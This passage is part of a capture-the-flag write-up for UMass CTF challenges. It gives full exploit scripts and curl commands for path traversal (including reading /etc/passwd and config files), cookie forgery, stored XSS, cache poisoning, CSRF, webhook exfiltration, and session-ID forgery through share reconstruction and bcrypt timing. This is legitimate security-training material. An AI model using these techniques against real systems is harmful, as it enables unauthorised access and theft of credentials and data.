decryption step should xor each encrypted byte with the verified hash * File patch: offset `0x12ec`, opcode `0x09 -> 0x31` (`or ecx, eax` -> `xor ecx, eax` in effect) After applying those three fixes and running the embedded license key, the binary prints the flag: `UMASS{__p4tche5_0n_p4tche$__#}` Solution script: ```python from pathlib import Path import subprocess BASE = Path("attachments/batcave_license_checker") PATCHED = Path("batcave_license_checker.fixed") LICENSE_KEY = b"!_batman-robin-alfred_((67||67))\n" def main() -> None: data = bytearray(BASE.read_bytes()) # Bug 1: rotate() should use rol3, so shr al, 6 -> shr al, 5. data[0x1282] = 0x05 # Bug 2: SBOX[0x18] is duplicated as 0x43; it should be 0x44. data[0x3098] = 0x44 # Bug 3: decrypt_flag() should xor, not or. data[0x12EC] = 0x31 PATCHED.write_bytes(data) PATCHED.chmod(0o755) proc = subprocess.run( [f"./{PATCHED.name}"], input=LICENSE_KEY, stdout=subprocess.PIPE, check=True, ) print(proc.stdout.decode(), end="") if __name__ == "__main__": main() ``` Verification output: ``` HASHED KEY: 3b54751a2406af05778047c5e483d348cb8730de1a9145ab15c79b2204022bee FLAG: UMASS{__p4tche5_0n_p4tche$__#} ``` ### Lego Clicker #### Description The challenge is an Android APK. The visible app flow is a clicker game with a leaderboard, and the prompt says to "reclaim the top of the leaderboard". The APK contains a native library, `liblegocore.so`, with JNI for: * `FlagEngine` * `FCA` * `SessionValidator` There are fake flags in the challenge. #### Solution I unpacked the APK with `jadx` and identified the important Java paths: * `RA` is the leaderboard activity. * If the top leaderboard entry is the player, `RA` calls: * `SessionValidator.validateBrickToken(j, j)` * `SessionValidator.a(j, j)`, where `a()` reflectively resolves to `syncBrickCache(j, j)`. * `SessionValidator` natives are registered dynamically in `JNI_OnLoad`. Using headless Ghidra on `apk_unpacked/lib/x86_64/liblegocore.so`, the native registration resolves to: * `syncBrickCache` -> `FUN_001210f0` * `refreshTileMap` -> `FUN_00121280` * `validateBrickToken` -> `FUN_001213b0` Important observations: 1. `FUN_00121d40(x)` checks whether `x * (x + 1)` is even, which is always true. 2. `FUN_00120350(x)` checks whether `~(x*x) & 3 == 0`, which is never true for integer squares modulo 4. 3. `syncBrickCache` therefore always takes the same non-debug branch in a normal environment. 4. That branch builds the final flag byte-by-byte in `FUN_00121f60`. 5. The anti-debug/anti-frida check is in `FUN_00121e80`: * `/proc/self/status` for `TracerPid:` * `/proc/self/maps` for `frida`, `gadget`, `gum-js`, `linjector` In a normal environment this check is false, so the real flag path is used. The byte transforms are initialized at `0x20370` and `FUN_00120fa0`, and the character source table comes from `FUN_00120310`. This script reconstructs the flag directly from the native library: ```python from pathlib import Path from struct import pack p = Path("apk_unpacked/lib/x86_64/liblegocore.so").read_bytes() # Initialized by FUN_00120fa0 (little-endian qwords in memory) b60 = pack("> n) | ((x << (8 - n)) & 0xFF)) & 0xFF def src(i): if i % 3 == 1: tab = t_13dc6 elif i % 3 == 0: tab = t_13cdc else: tab = t_13dd4 return tab[i // 3] out = [] for i in range(0x29): x = src(i) x ^= b70[(i + 1) & 7] # 0x204e0 x = (x - b70[i & 7]) & 0xFF # 0x20510 x ^= b68[i & 7] # 0x20530 x = ror8(x, 3) # 0x20560 x ^= b60[i & 7] # 0x20580 out.append(x) flag = bytes(out).decode() print(flag) ``` Running it prints: ``` UMASS{br1ck_by_br1ck_y0u_r3ach3d_th3_t0p} ``` This matches the intended theme and was accepted by the scoreboard. *** ## web\_exploitation ### BrOWSER BOSS FIGHT #### Description This familiar brick castle is hiding something... can you break in and defeat the Koopa King? #### Solution The landing page had a key input form with inline JavaScript: ```html ``` That means any normal browser submit rewrites the `key` parameter before the request is sent. The hint confirmed the intended bypass: do not use the form submit path at all. Send the POST manually. Submitting any raw key attempt produced a useful response header: ```http Server: BrOWSERS CASTLE (A note outside: "King Koopa, if you forget the key, check under_the_doormat! - Sincerely, your faithful servant, Kamek") ``` So the real key was `under_the_doormat`. Posting that key manually redirected to `/bowsers_castle.html`: ```bash curl -i -X POST 'http://browser-boss-fight.web.ctf.umasscybersec.org:48003/password-attempt' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'key=under_the_doormat' ``` The castle page was session-gated and set a large number of cookies plus: ```http Set-Cookie: hasAxe=false; Path=/ ``` The page text said: ``` I don't know how you got in, but you can't possibly defeat me! I removed the axe! ``` That exposed the second trust issue: the application relied on the client-controlled `hasAxe` cookie. Reusing the authenticated `connect.sid` from the valid key submission and forcing `hasAxe=true` returned the victory page with the flag. Working exploit: ```bash rm -f cookies.txt curl -sS -c cookies.txt -b cookies.txt \ -X POST 'http://browser-boss-fight.web.ctf.umasscybersec.org:48003/password-attempt' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'key=under_the_doormat' \ -o /dev/null sid=$(awk '/connect.sid/ {print $7}' cookies.txt | tail -n1) curl -sS 'http://browser-boss-fight.web.ctf.umasscybersec.org:48003/bowsers_castle.html' \ -H "Cookie: connect.sid=$sid; hasAxe=true" ``` Response: ```html

UMASS{br0k3n_1n_2_b0wz3r5_c4st13}

``` Flag: ``` UMASS{br0k3n_1n_2_b0wz3r5_c4st13} ``` ### Brick by Brick #### Description BrickWorks Co.'s portal exposed internal documents under `/internal-docs/`. The onboarding document mentioned that the main intranet lets staff read files via a `?file=` parameter and that the admin dashboard credentials are stored in `config.php` in the web root. #### Solution The bug is a local file inclusion / path traversal on the main page. Absolute paths are blocked, but traversal works: ```bash curl -sS 'http://brick-by-brick.web.ctf.umasscybersec.org/?file=../../../../etc/passwd' ``` `robots.txt` reveals internal docs: ```bash curl -sS http://brick-by-brick.web.ctf.umasscybersec.org/robots.txt curl -sS http://brick-by-brick.web.ctf.umasscybersec.org/internal-docs/it-onboarding.txt ``` The onboarding document says: ``` The internal document portal lives at our main intranet address. Staff can access any file using the ?file= parameter: Credentials are stored in the application config file for reference by the IT team. See config.php in the web root. ``` Read `config.php` through the LFI: ```bash curl -sS 'http://brick-by-brick.web.ctf.umasscybersec.org/?file=config.php' ``` That reveals the hidden admin page: ```php // The admin dashboard is located at /dashboard-admin.php. ``` Read the dashboard source through the same LFI: ```bash curl -sS 'http://brick-by-brick.web.ctf.umasscybersec.org/?file=dashboard-admin.php' ``` The PHP source contains both the default credentials and the flag: ```php define('DASHBOARD_USER', 'administrator'); define('DASHBOARD_PASS', 'administrator'); define('FLAG', 'UMASS{4lw4ys_ch4ng3_d3f4ult_cr3d3nt14ls}'); ``` Flag: ``` UMASS{4lw4ys_ch4ng3_d3f4ult_cr3d3nt14ls} ``` ### The Block City Times V2 #### Description The app lets anyone submit a story with an attached `text/plain` or PDF file. The editorial bot logs in as admin and visits the uploaded file URL. The admin dashboard also has a dev-only `/admin/report` feature that asks an internal `report-runner` service to log in as admin, set a `FLAG` cookie in Chromium, visit an allowed `/api/...` endpoint, and return the visible page text. The key bug is that upload validation only trusts the multipart part `Content-Type`, while the stored filename is served back with `Files.probeContentType(...)`. That means an `.html` file can be uploaded as `text/plain`, then served as `text/html`, giving stored same-origin XSS in the editorial admin bot. #### Solution Exploit chain: 1. Upload HTML as `text/plain` to get stored XSS when the editorial bot opens `/files/-name.html`. 2. From that XSS, use the admin session to: * set `app.active-config=dev` * call `/actuator/refresh` * change `app.outbound.editorial-url` to a `webhook.site` URL so later `/submit` calls exfiltrate data 3. Use the admin-only `PUT /api/tags/article/{id}` twice to store the same raw tag value on two different articles: * `` 4. Now `GET /api/tags` throws `IllegalArgumentException: duplicate element: ``` Upload it as a file named `payload_live_flag.html` while forcing the multipart part content type to `text/plain`, for example: ```bash curl -F "_csrf=" \ -F "title=flag-payload" \ -F "author=me" \ -F "description=flag try" \ -F "file=@payload_live_flag.html;type=text/plain;filename=payload_live_flag.html" \ http://INSTANCE/submit ``` The returned report leaked: ``` FLAG=UMASS{A_mAn_h3s_f0rg0tt3n_t0_ch3ck_f04_p@tH_tr@v3rs@l} ``` ### The Block City Times #### Description The outer service on `:5000` is only a gate. It expects a valid UMass CTFd access token, then exposes a managed instance page that starts the real challenge container over `socket.io`. The inner instance matches the provided Java source. The bug chain is: 1. `/submit` only checks the uploaded part's declared MIME type. An `.html` file can be uploaded as `text/plain`. 2. The saved filename keeps the `.html` extension, and `/files/{filename}` later serves it using `Files.probeContentType`, so the file is returned as `text/html`. 3. The editorial bot automatically opens the uploaded file while logged in as admin, so this becomes stored XSS in an admin session. 4. The XSS uses the admin session to: * fetch a CSRF token from `/login` (important: `/admin` in production does not render a CSRF field), * POST `/actuator/env` with `{"name":"app.active-config","value":"dev"}`, * POST `/actuator/refresh`, * POST `/admin/report` with endpoint `/api/../files/`. 5. The report bot logs in as admin, sets a `FLAG` cookie, and visits the endpoint. When it loads the same uploaded HTML, the payload detects `document.cookie` containing `FLAG=` and writes the cookie value into the page body. 6. `/admin/report` embeds the report bot output in the response HTML. The editorial-bot XSS regexes `UMASS{...}` from that response and stores it in the public `/api/tags/article/1` endpoint. 7. Poll the public tags endpoint until the flag appears. Recovered flag: `UMASS{A_mAn_h3s_f@l13N_1N_tH3_r1v3r}` #### Solution Standalone solve script: ```python #!/usr/bin/env python3 import argparse import datetime as dt import json import re import time from pathlib import Path import requests import socketio CONFIG_PATH = Path("/home/ubu/ctf/competitions/umass26/config.yaml") FLAG_RE = re.compile(r"UMASS\{[^}\r\n]+\}") CSRF_RE = re.compile(r'name="_csrf"\s+value="([^"]+)"') def extract_csrf(html: str) -> str: match = CSRF_RE.search(html) if not match: raise RuntimeError("failed to find CSRF token") return match.group(1) def load_ctfd_session(config_path: Path) -> str: text = config_path.read_text(encoding="utf-8") match = re.search(r"^\s+session:\s+(\S+)\s*$", text, re.MULTILINE) if not match: raise RuntimeError(f"failed to find CTFd session in {config_path}") return match.group(1) def mint_ctfd_token(ctfd_base: str, session_cookie: str, description: str) -> str: http = requests.Session() http.cookies.set("session", session_cookie, domain="ctf.umasscybersec.org", path="/") settings = http.get(f"{ctfd_base}/settings", timeout=20) settings.raise_for_status() csrf = re.search(r"'csrfNonce': \"([a-f0-9]+)\"", settings.text) if not csrf: raise RuntimeError("failed to extract CTFd csrf nonce") expiration = (dt.date.today() + dt.timedelta(days=1)).isoformat() response = http.post( f"{ctfd_base}/api/v1/tokens", headers={"CSRF-Token": csrf.group(1), "Content-Type": "application/json"}, json={"expiration": expiration, "description": description}, timeout=20, ) response.raise_for_status() data = response.json() token = data.get("data", {}).get("value") if not token: raise RuntimeError(f"failed to mint CTFd token: {data}") return token def gate_login(gate_base: str, ctfd_token: str) -> requests.Session: http = requests.Session() login_page = http.get(gate_base, timeout=20) login_page.raise_for_status() csrf = re.search(r'name="csrf_token" value="([^"]+)"', login_page.text) if not csrf: raise RuntimeError("failed to extract gate csrf token") response = http.post( gate_base, data={"csrf_token": csrf.group(1), "ctfd_team_access_token": ctfd_token}, timeout=20, ) response.raise_for_status() if "/instance" not in response.url: raise RuntimeError(f"gate login did not reach instance page: {response.url}") return http def start_instance(gate_base: str, gate_session: requests.Session, timeout: int) -> str: sio = socketio.Client(http_session=gate_session) state = {"done": False, "url": None, "error": None} @sio.on("deploy_done") def _deploy_done(data): state["done"] = True state["url"] = data.get("instance_url") sio.disconnect() @sio.on("fatal_error") def _fatal_error(data): state["done"] = True state["error"] = data sio.disconnect() sio.connect(gate_base, transports=["polling"]) sio.emit("start_deploy") deadline = time.time() + timeout while not state["done"] and time.time() < deadline: time.sleep(1) if not state["done"]: try: sio.disconnect() except Exception: pass raise RuntimeError("timed out waiting for managed instance deployment") if state["error"]: raise RuntimeError(f"managed instance deployment failed: {state['error']}") if not state["url"]: raise RuntimeError("deployment finished without an instance URL") return state["url"] def build_payload() -> str: return """ """ def upload_payload(session: requests.Session, base_url: str, payload: str) -> None: submit_page = session.get(f"{base_url}/submit", timeout=15) submit_page.raise_for_status() csrf = extract_csrf(submit_page.text) files = {"file": ("story.html", payload.encode(), "text/plain")} data = { "_csrf": csrf, "title": "Local Tip", "author": "Reporter", "description": "newsroom tip", } response = session.post(f"{base_url}/submit", data=data, files=files, timeout=30) response.raise_for_status() if "has been submitted to our editorial desk" not in response.text: raise RuntimeError("submission did not look successful") def poll_flag(session: requests.Session, base_url: str, timeout: int) -> str: deadline = time.time() + timeout last = None while time.time() < deadline: response = session.get(f"{base_url}/api/tags/article/1", timeout=15) response.raise_for_status() try: tags = response.json() except json.JSONDecodeError: tags = [] if isinstance(tags, list): for tag in tags: if isinstance(tag, str): match = FLAG_RE.search(tag) if match: return match.group(0) last = tags time.sleep(2) raise RuntimeError(f"flag not found in public tags; last tags: {last}") def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("--gate-url", default="http://blockcitytimes.web.ctf.umasscybersec.org:5000") parser.add_argument("--ctfd-url", default="https://ctf.umasscybersec.org") parser.add_argument("--deploy-timeout", type=int, default=180) parser.add_argument("--exploit-timeout", type=int, default=240) args = parser.parse_args() ctfd_session = load_ctfd_session(CONFIG_PATH) ctfd_token = mint_ctfd_token(args.ctfd_url.rstrip("/"), ctfd_session, "codex-live") gate_session = gate_login(args.gate_url.rstrip("/"), ctfd_token) instance_url = start_instance(args.gate_url.rstrip("/"), gate_session, args.deploy_timeout) payload = build_payload() payload_path = Path("payload.html") payload_path.write_text(payload, encoding="utf-8") exploit_session = requests.Session() upload_payload(exploit_session, instance_url.rstrip("/"), payload) print(poll_flag(exploit_session, instance_url.rstrip("/"), args.exploit_timeout)) return 0 if __name__ == "__main__": raise SystemExit(main()) ``` ### Building Blocks Market #### Description The bug is a cache-key / forwarded-path mismatch in `cache_proxy`. * The proxy caches on the raw request path if it ends in a cacheable extension. * But it forwards only the part before `%0d%0a`. * So requesting `/admin/submissions.html%0d%0aX.css` caches the real admin page under a public, cacheable key. That leaks the admin submissions page, including the per-admin CSRF token. The remaining problem is turning that leak into an authenticated admin POST on live Chromium. #### Solution The direct cross-site POST ideas fail on live because the public payload page is effectively `https://...`, so Chromium blocks requests to insecure private hosts like `http://cache_proxy:5555` and `http://bot:3001`. The working chain is: 1. Create a product. 2. Submit `http://cache_proxy:5555/admin/submissions.html%0d%0a.css`. 3. Fetch the same public path and read the leaked admin CSRF token. 4. Submit a second URL pointing to a public HTTPS page we control. 5. That page opens `about:blank` in a popup, then navigates the popup to a `javascript:` URL. 6. Inside the popup, create a `text/plain` form POST to `http://127.0.0.1:3001/visit`. `127.0.0.1` is the important detail. Chromium treats loopback as trustworthy, so the secure public page can still reach the bot server on loopback. Targeting `http://bot:3001/visit` does not work. The bot expects JSON, but `text/plain` forms serialize as `name=value\r\n`. The trick is to place that `=` inside the JSON string: * input `name`: `{"url":"` * input `value`: `"}` That makes the actual body: ``` {"url":"...=..."}\r\n ``` `JSON.parse(...)` accepts the trailing CRLF, so `/visit` accepts it. The JSON `url` sent to `/visit` is a `data:text/html,...` page that auto-submits: ```html
> >
``` The bot then visits that `data:` URL directly, and that page successfully POSTs to `cache_proxy` with the admin session cookie already loaded by the bot. Public payload page: ```html ``` Exploit script: ```python #!/usr/bin/env python3 import argparse import datetime as dt import hmac import hashlib import random import re import string import time import urllib.parse from pathlib import Path import requests import socketio CONFIG_PATH = Path("/home/ubu/ctf/competitions/umass26/config.yaml") GATE_URL = "http://buildingblocksmarket.web.ctf.umasscybersec.org:5000" CTFD_URL = "https://ctf.umasscybersec.org" def randstr(n=8): return "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n)) def load_ctfd_session(config_path: Path) -> str: text = config_path.read_text(encoding="utf-8") return re.search(r"^\\s+session:\\s+(\\S+)\\s*$", text, re.MULTILINE).group(1) def mint_ctfd_token(session_cookie: str, description: str) -> str: http = requests.Session() http.cookies.set("session", session_cookie, domain="ctf.umasscybersec.org", path="/") settings = http.get(f"{CTFD_URL}/settings", timeout=20) csrf = re.search(r"'csrfNonce': \"([a-f0-9]+)\"", settings.text).group(1) expiration = (dt.date.today() + dt.timedelta(days=1)).isoformat() response = http.post( f"{CTFD_URL}/api/v1/tokens", headers={"CSRF-Token": csrf, "Content-Type": "application/json"}, json={"expiration": expiration, "description": description}, timeout=20, ) return response.json()["data"]["value"] def gate_login(ctfd_token: str) -> requests.Session: http = requests.Session() login_page = http.get(GATE_URL, timeout=20) csrf = re.search(r'name="csrf_token" value="([^"]+)"', login_page.text).group(1) response = http.post( GATE_URL, data={"csrf_token": csrf, "ctfd_team_access_token": ctfd_token}, timeout=20, ) assert "/instance" in response.url return http def start_instance(gate_session: requests.Session, timeout: int = 180) -> str: page = gate_session.get(f"{GATE_URL}/instance", timeout=20) status_match = re.search(r'const STATUS = "([^"]*)";', page.text) url_match = re.search(r'const INSTANCE_URL = "([^"]+)";', page.text) if status_match and status_match.group(1) == "active" and url_match: return url_match.group(1).rstrip("/") sio = socketio.Client(http_session=gate_session, logger=False, engineio_logger=False) state = {"done": False, "url": None, "error": None} @sio.on("deploy_done") def _deploy_done(data): state["done"] = True state["url"] = data.get("instance_url") sio.disconnect() @sio.on("fatal_error") def _fatal_error(data): state["done"] = True state["error"] = data sio.disconnect() sio.connect(GATE_URL, transports=["polling"]) sio.emit("start_deploy") deadline = time.time() + timeout while not state["done"] and time.time() < deadline: time.sleep(1) if state["error"]: raise RuntimeError(state["error"]) return state["url"].rstrip("/") def register_and_login(base_url: str, username: str, password: str) -> requests.Session: http = requests.Session() r = http.post(f"{base_url}/register", data={"username": username, "password": password}, allow_redirects=False, timeout=20) assert r.status_code in (302, 400) r = http.post(f"{base_url}/login", data={"username": username, "password": password}, allow_redirects=False, timeout=20) assert r.status_code == 302 return http def create_product(http: requests.Session, base_url: str, name: str) -> int: r = http.post( f"{base_url}/sell", data={"name": name, "description": "rare set", "price": "12.34", "image_url": ""}, allow_redirects=False, timeout=20, ) return int(re.search(r"/product/(\\d+)$", r.headers["Location"]).group(1)) def submit_for_approval(http: requests.Session, base_url: str, submission_url: str) -> int: r = http.post( f"{base_url}/approval/request", data={"submission_url": submission_url}, allow_redirects=False, timeout=20, ) return int(re.search(r"/submission/success/(\\d+)$", r.headers["Location"]).group(1)) def fetch_leaked_admin_page(base_url: str, leak_path: str, first_wait: int = 25): time.sleep(first_wait) r = requests.get(f"{base_url}{leak_path}", timeout=20) csrf = re.search(r'name="csrf_token" value="([a-f0-9]{64})"', r.text).group(1) return csrf def build_payload_url(tunnel_base: str, submission_id: int, csrf_token: str) -> str: html = ( f"
" f"" "
" ) data_url = "data:text/html," + urllib.parse.quote(html, safe='/:=<>()[];,.?&-_') return ( f"{tunnel_base.rstrip('/')}/?" + urllib.parse.urlencode({ "m": "popup_json_form", "d": "http://127.0.0.1:3001/visit", "j": data_url, "l": "300", "t": "pop", }) ) def wait_for_flag(http: requests.Session, base_url: str, timeout: int = 60) -> str | None: deadline = time.time() + timeout while time.time() < deadline: r = http.get(f"{base_url}/flag", timeout=20) m = re.search(r"UMASS\\{[^}\\n]+\\}", r.text) if m: return m.group(0) time.sleep(5) return None def main(): parser = argparse.ArgumentParser() parser.add_argument("--tunnel-base", required=True) args = parser.parse_args() ctfd_session = load_ctfd_session(CONFIG_PATH) ctfd_token = mint_ctfd_token(ctfd_session, f"codex-live-{randstr(6)}") gate_session = gate_login(ctfd_token) instance_url = start_instance(gate_session) username = f"u{randstr(8)}" password = "pw123456" http = register_and_login(instance_url, username, password) create_product(http, instance_url, f"Rare Set {randstr(6)}") leak_suffix = randstr(6) leak_path = f"/admin/submissions.html%0d%0a{leak_suffix}.css" leak_submission_id = submit_for_approval(http, instance_url, f"http://cache_proxy:5555{leak_path}") csrf_token = fetch_leaked_admin_page(instance_url, leak_path) payload_url = build_payload_url(args.tunnel_base, leak_submission_id, csrf_token) submit_for_approval(http, instance_url, payload_url) flag = wait_for_flag(http, instance_url) print(flag) if __name__ == "__main__": main() ``` That returned: ``` UMASS{d0nt_m3ss_w1th_nG1nx_4nd_chr0m1uM} ``` ### Turncoat's Treasure #### Description The challenge ships a product site, a forum, and a captain bot behind an nginx proxy. Important bugs: * `forum/templates/user.html` renders post content with `|safe`, so `/user/` is stored XSS. * `product/check-captain` leaks the captain container IP. * nginx blocks `/call-captain`, but the block is case-sensitive while Express routing is case-insensitive, so `/CALL-CAPTAIN` reaches the captain app. * The wildcard proxy routes arbitrary subdomains upstream, so `make--rr.1u.ms.` can be used to send traffic to the captain service. * `captain /treasure` is localhost-only, but it returns CSS: `here is your treasure` + `name` + `FLAG` The useful trick is that this CSS is still valid if `name` starts with `{--x:`. Then: * `https://127.0.0.1/treasure?name=%7B--x%3A` produces CSS equivalent to: ```css here is your treasure { --x: UMASS{...} } ``` If the DOM contains nested custom elements: ```html ``` then `getComputedStyle(t).getPropertyValue('--x')` returns the flag. The clean solve path was: 1. Register an attacker-controlled forum user. 2. Post a stored-XSS payload into that user's forum posts. 3. Trigger the captain bot to visit `/user/`. 4. The XSS runs on `forum.`, loads the localhost treasure CSS, reads the flag from the CSS custom property, logs into the attacker forum account, and posts the flag as a new forum message. 5. Read the posted flag back from the attacker user's page. #### Solution Exploit script used: ```python #!/usr/bin/env python3 import argparse import random import re import string import sys import time import requests import urllib3 FLAG_RE = re.compile(r"UMASS\{[^}]+\}") CAPTAIN_IP_RE = re.compile(r"\((\d{1,3}(?:\.\d{1,3}){3})\)") def rand_suffix(n: int = 6) -> str: alphabet = string.ascii_lowercase + string.digits return "".join(random.choice(alphabet) for _ in range(n)) def normalize_host(target: str) -> str: if "://" not in target: return target.strip().strip("/") return requests.utils.urlparse(target).hostname def session() -> requests.Session: urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) s = requests.Session() s.verify = False s.headers.update({"User-Agent": "turncoats-treasure-xss-solver/1.0"}) return s def get_captain_ip(s: requests.Session, host: str) -> str: resp = s.get(f"https://product.{host}/check-captain", timeout=20) resp.raise_for_status() match = CAPTAIN_IP_RE.search(resp.text) if not match: raise RuntimeError("failed to extract captain IP") return match.group(1) def ensure_user(s: requests.Session, host: str, username: str, password: str) -> None: resp = s.post( f"https://forum.{host}/register", data={"username": username, "password": password}, timeout=20, allow_redirects=False, ) if resp.status_code not in (302, 400): raise RuntimeError(f"unexpected register status {resp.status_code}") def login_forum(s: requests.Session, host: str, username: str, password: str) -> None: resp = s.post( f"https://forum.{host}/login", data={"username": username, "password": password}, timeout=20, allow_redirects=True, ) if resp.status_code != 200: raise RuntimeError(f"unexpected login status {resp.status_code}") def make_xss(username: str, password: str) -> str: return f"""""" def post_xss(s: requests.Session, host: str, content: str) -> None: resp = s.post( f"https://forum.{host}/post", data={"content": content}, timeout=20, allow_redirects=True, ) if resp.status_code != 200: raise RuntimeError(f"unexpected post status {resp.status_code}") def trigger_captain(s: requests.Session, host: str, captain_ip: str, username: str) -> None: captain_host = f"make-{captain_ip}-rr.1u.ms.{host}" url = f"https://{captain_host}/CALL-CAPTAIN?endpoint=/user/{username}" resp = s.get(url, timeout=20) resp.raise_for_status() def poll_flag(s: requests.Session, host: str, username: str, timeout: int) -> str: deadline = time.time() + timeout user_url = f"https://forum.{host}/user/{username}" while time.time() < deadline: resp = s.get(user_url, timeout=20) resp.raise_for_status() match = FLAG_RE.search(resp.text) if match: return match.group(0) time.sleep(2) raise TimeoutError("timed out waiting for flag post") def main() -> int: parser = argparse.ArgumentParser(description="Turncoat's Treasure solve via stored XSS on forum user page.") parser.add_argument("--target", required=True, help="Instance host or full URL") parser.add_argument("--username", default=None, help="Forum username") parser.add_argument("--password", default=None, help="Forum password") parser.add_argument("--timeout", type=int, default=45, help="Seconds to poll for flag post") args = parser.parse_args() host = normalize_host(args.target) username = args.username or f"retiree_{rand_suffix()}" password = args.password or username s = session() print(f"[+] target host: {host}") captain_ip = get_captain_ip(s, host) print(f"[+] captain ip: {captain_ip}") ensure_user(s, host, username, password) login_forum(s, host, username, password) print(f"[+] forum account ready: {username}:{password}") xss = make_xss(username, password) post_xss(s, host, xss) print("[+] xss post created") trigger_captain(s, host, captain_ip, username) print("[+] captain triggered to attacker user page") flag = poll_flag(s, host, username, args.timeout) print(flag) return 0 if __name__ == "__main__": sys.exit(main()) ``` Run: ```bash python3 -u exploit_forum_xss.py --target https:// --username retiree_xss1 --password retiree_xss1 --timeout 60 ``` Recovered flag: ``` UMASS{s0m3body_t0uch3d_th3_tre45ur3_0mg_th4ts_cr4zy} ``` ### ORDER66 #### Description The app stores at most one populated `box_i` per session in Redis, keyed as `{uid}:box_i`. Rendering is split across two routes: * `/` keeps the current session `uid`, rotates a session `seed`, and renders one box with `|safe`. * `/view//` renders the same stored data for any chosen `uid` and `seed`. The vulnerable box is selected with: ```python random.seed(seed) v_index = random.randint(1, 66) ``` That means the server lets us: 1. Store a payload in any single box we want. 2. Pick a synthetic `seed` whose RNG output points at that same box. 3. Send the admin bot to `/view//`. The bot sets a readable `flag` cookie and forwards `console.log(...)` output back in the `/admin/visit` response, so an XSS payload can print the flag directly. #### Solution I used `box_1` and a known Python seed where `random.randint(1, 66)` returns `1`: ```python import random random.seed(1131) print(random.randint(1, 66)) # 1 ``` Exploit: ```bash #!/usr/bin/env bash set -euo pipefail BASE='http://order66.web.ctf.umasscybersec.org:48001' JAR='cookies.txt' PAYLOAD='' SEED='1131' # Start a session and extract the generated uid from the share URL. HTML="$(curl -sS -c "$JAR" "$BASE/")" SESSION_UID="$(printf '%s' "$HTML" | sed -n 's/.*value="http:\/\/None\/view\/\([0-9a-f-]\+\)\/[0-9]\+".*/\1/p')" # Store the payload in box_1. curl -sS -b "$JAR" -c "$JAR" -X POST \ --data-urlencode "box_1=$PAYLOAD" \ "$BASE/" >/dev/null # Ask the bot to visit a synthetic view URL that makes box_1 the vulnerable slot. curl -sS -X POST \ --data-urlencode "target_url=http://x/view/$SESSION_UID/$SEED" \ "$BASE/admin/visit" ``` Response: ``` flag=UMASS{m@7_t53_f0rce_b$_w!th_y8u} ``` Flag: ``` UMASS{m@7_t53_f0rce_b$_w!th_y8u} ``` ### Bricktator #### Description The app is a Spring Boot control panel with: * known credentials for `bricktator/goldeagle` * an exposed `/actuator/sessions` endpoint available after logging in as Bricktator * session IDs of the form `xxxxx-xxxxxxxx`, where the decimal prefix is the share index and the hex suffix is the share value * a degree-2 Shamir-style polynomial used to generate all seeded session IDs * an override flow that needs 5 `YANKEE_WHITE` session approvals The important source observations were: * `SessionSuccessHandler` pins `bricktator`, `John_Doe`, and `Jane_Doe` to seeded session indices `5001`, `1`, and `5` * `/actuator/sessions?username=...` returns the seeded session ID for a principal * `john_doe` and `jane_doe` are the seeded principal names, not `John_Doe` / `Jane_Doe` * `CommandWorkFilter` runs on `/command` and does an expensive bcrypt only when the supplied session ID belongs to a stored `YANKEE_WHITE` session * `/override/{token}` is public and only checks whether the session backing the request has `role=YANKEE_WHITE` So the solve is: 1. Log in as Bricktator. 2. Query `/actuator/sessions?username=bricktator`, `john_doe`, and `jane_doe`. 3. Reconstruct the quadratic over `mod 2147483647` from those three shares. 4. Generate valid seeded session IDs for indices `2..5000` and probe `/command` with each one. 5. Use the bcrypt timing jump to identify `YANKEE_WHITE` sessions. 6. Start an override as Bricktator. 7. Submit 4 discovered `YANKEE_WHITE` sessions to `/override/`. 8. Read the flag from the completion page. Live solve result: `UMASS{stUx_n3T_a1nt_g0T_n0th1nG_0N_th15}` #### Solution ```python #!/usr/bin/env python3 import argparse import base64 import http.cookiejar import json import re import sys import time import urllib.error import urllib.parse import urllib.request PRIME = 2_147_483_647 TOKEN_RE = re.compile(r"/override/([0-9a-f]{32})") FLAG_RE = re.compile(r"(UMASS\{[^}]+\})") def encode_session_cookie(session_id: str) -> str: return base64.urlsafe_b64encode(session_id.encode()).decode() def decode_session_cookie(cookie_value: str) -> str: return base64.urlsafe_b64decode(cookie_value).decode() def parse_session_id(session_id: str) -> tuple[int, int]: x_str, y_hex = session_id.split("-", 1) return int(x_str), int(y_hex, 16) def mod_solve_3x3(rows: list[list[int]]) -> list[int]: matrix = [row[:] for row in rows] for col in range(3): pivot = None for row in range(col, 3): if matrix[row][col] % PRIME != 0: pivot = row break if pivot is None: raise ValueError("singular matrix") matrix[col], matrix[pivot] = matrix[pivot], matrix[col] inv = pow(matrix[col][col], -1, PRIME) for idx in range(col, 4): matrix[col][idx] = (matrix[col][idx] * inv) % PRIME for row in range(3): if row == col: continue factor = matrix[row][col] % PRIME for idx in range(col, 4): matrix[row][idx] = (matrix[row][idx] - factor * matrix[col][idx]) % PRIME return [matrix[i][3] % PRIME for i in range(3)] def fit_quadratic(session_ids: list[str]) -> list[int]: rows = [] for session_id in session_ids: x, y = parse_session_id(session_id) rows.append([1, x % PRIME, (x * x) % PRIME, y % PRIME]) return mod_solve_3x3(rows) def eval_quadratic(coeffs: list[int], x: int) -> int: return (coeffs[0] + coeffs[1] * x + coeffs[2] * x * x) % PRIME class Solver: def __init__(self, base_url: str, verbose: bool = True): self.base_url = base_url.rstrip("/") self.verbose = verbose self.cookie_jar = http.cookiejar.CookieJar() self.opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.cookie_jar)) def log(self, message: str) -> None: if self.verbose: print(message, flush=True) def open(self, path: str, method: str = "GET", data: bytes | None = None, headers: dict[str, str] | None = None) -> bytes: request = urllib.request.Request(self.base_url + path, data=data, headers=headers or {}, method=method) with self.opener.open(request, timeout=15) as response: return response.read() def request_json(self, path: str) -> dict: return json.loads(self.open(path)) def login(self, username: str, password: str) -> str: payload = urllib.parse.urlencode({"username": username, "password": password}).encode() self.open("/login", method="POST", data=payload, headers={ "Content-Type": "application/x-www-form-urlencoded", }) for cookie in self.cookie_jar: if cookie.name == "SESSION": return decode_session_cookie(cookie.value) raise RuntimeError("login did not yield a SESSION cookie") def session_for_username(self, username: str) -> str: body = self.request_json("/actuator/sessions?username=" + urllib.parse.quote(username)) sessions = body.get("sessions", []) if len(sessions) != 1: raise RuntimeError(f"expected exactly one session for {username!r}, got {len(sessions)}") return sessions[0]["id"] def 